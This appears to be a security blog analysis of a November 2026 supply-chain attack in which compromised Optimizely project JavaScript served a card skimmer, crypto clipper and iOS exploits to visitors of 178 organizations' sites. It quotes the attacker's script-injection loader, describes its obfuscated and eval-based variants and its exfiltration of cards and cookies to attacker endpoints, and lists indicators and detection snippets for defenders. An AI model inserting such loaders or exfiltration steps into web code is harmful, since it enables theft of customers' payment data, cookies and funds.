On 16 November 2026, visitors to 178 organizations' websites — Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Ledger, Peacock — were served a card skimmer, a crypto clipper and two iOS exploit kits. None of those companies had a breach. The code arrived from cdn.optimizely.com, with Optimizely's certificate, in a script tag the sites had used for years.
Scott Helme of Report URI checked 1,611 Optimizely snippets and found 188 infected across 178 organizations. Optimizely has acknowledged a "vulnerability in Experimentation" was exploited and says it is fixed. No CVE has been assigned, and no technical detail of the flaw has been published.
The write path
Optimizely Web Experimentation loads a per-project snippet from Optimizely's CDN. Inside that file is a field called Project JavaScript (projectJS) — custom code a customer writes in the dashboard, executed on every page where the snippet loads.
The attacker wrote a loader into that field for many unrelated projects and left everything else alone. Report URI is explicit that this was not cache poisoning: the CDN served exactly what it was given.
Three loader variants:
// 1. plain tag (most snippets) "projectJS": function(){(function(){try{var s=document.createElement('script'); s.src='https://1688360.cc/track.js';s.async=true; (document.head||document.documentElement).appendChild(s);}catch(e){}})();} // 2. same URL base64'd, decoded at runtime — grep for the domain finds nothing // 3. full inline payload executed via eval() when 1688360.cc is blocked Variant 2 matters for incident response: a text search of your repository, your WAF rules or your tag inventory will miss it. Smartsheet's snippet was cleaned and then re-infected with the base64 version, which tells you the attacker still had write access at that point.
Customers who self-host the snippet (opt.scheels.com, www.vodafone.com.au/js/<id>.js) were affected too, because the content still comes from the same Optimizely project. Optimizely's own sites were in the list.
What the payload did
- Crypto address replacement across BTC, ETH/EVM, TRON, SOL, TON, LTC, BCH and DOGE — checksum-validated swaps in page text, form fields, links, images, the clipboard, outgoing
fetch/XHR,window.openand the iOS share sheet. About $7,000 reached the attacker's wallets within nine hours; they were emptied the next morning. - Card skimming added at 13:43 UTC: watch form submits and
fetch/XHR POSTs for a Luhn-valid number, expiry and CVV, thennavigator.sendBeacontohttps://1688360.cc/card.php. Cards typed into hosted payment iframes (Stripe, Adyen and similar) were out of reach — the numbers never exist in the page the script controls. That is not immunity: Report URI documented a separate November 2026 kit that injects a fake card form into hosted-gateway checkouts, styled to match the payment brand, then restores the real checkout so the order completes. - Cookie and screenshot theft to
/hit.php: page URL,document.cookie(non-HttpOnlyonly), the original addresses, and an html2canvas render of the page. - iOS stage from 17:13 UTC: Coruna for iOS 13-17, DarkSword for iOS 18, a separate chain for iOS 26. Pages on iOS 18.6 or older reload every 60 seconds to retry.
The payload was rebuilt 26 times that day. Exposure ran from 04:21 to 23:11 UTC — about 18 hours 50 minutes.
The CSP data is the useful part
Report URI crawled 256 affected organizations' own hosts and evaluated their policy against what the payload needs:
| Policy | Organizations |
|---|---|
| No CSP | 68 |
| Allowed payload and exfiltration | 50 |
Payload ran, connect-src blocked the theft | 17 |
| Payload blocked | 24 (15%) |
Allowlisting cdn.optimizely.com was never going to help — that is where the code came from. What separated the 15% was a script-src naming only the hosts actually needed, so 1688360.cc could not load.
Two directives inverted the protection:
-
'strict-dynamic'trusts any script inserted by a trusted script, and the loader is a script inserted by a trusted script. Report URI raises this as an analysis of the policy, not as a per-site finding. -
'unsafe-eval'lets the inline fallback run. Optimizely's own docs tell customers to allow it. This one is observed: HSBC blockedtrack.jsand blocked the theft, and the inline copy still executed.
CSP never judges whether an allowed script is honest — it only constrains what that script may load and where it may send data.
connect-src is the undervalued one. The 17 "partial" sites still had addresses swapped in-page, but no cards, cookies or screenshots left the browser.
What to do
- Inventory every third-party host on your checkout. Then separate "a script we load" from "a script somebody outside the company can rewrite at will" — GTM custom HTML tags, an A/B tool's project JS, chat widget custom code.
- Move card capture to hosted fields or a hosted checkout so a skimmer cannot read your real form — and keep watching, because a kit can still inject a convincing fake one.
- Ship a CSP in report-only first, then restrict
script-srcandconnect-src; drop'unsafe-eval'and'strict-dynamic'where you can. - Monitor for script change, not uptime. The certificate was valid and the servers were up for all 19 hours.
- If you used Optimizely: audit Project JavaScript and experiment code for
1688360.cc,atob(and anything you did not write; rotate credentials and API tokens; treat cards entered on 16 November as exposed and non-HttpOnlysession cookies as stolen. - If you take card payments: PCI DSS v4.x requirements 6.4.3 (authorize, inventory and integrity-check every payment page script) and 11.6.1 (change- and tamper-detection on that page) took effect on 31 March 2025. Ask your acquirer or QSA which apply to your SAQ type.
Detection
# in the browser, on your own pages [...document.scripts].map(s => s.src).filter(s => s && !s.startsWith(location.origin)) # payload markers seen in this campaign window._k7, window.__k7b, document.querySelector('[data-channel-code="02111110"]') Hunt for 1688360.cc, webshell.lol, 5vobauua3ojpklx.icu, eil786npto9u5bq.icu and linkforge.cc in page source, CSP reports and proxy logs. 1688360.cc and webshell.lol are now on clientHold; the domains are dead, but your historical logs are not.
The full owner-facing version, including the five checks worth running this week and the hosted-payment detail that decides whether a skimmer can read your customers' cards: wardenbit.com
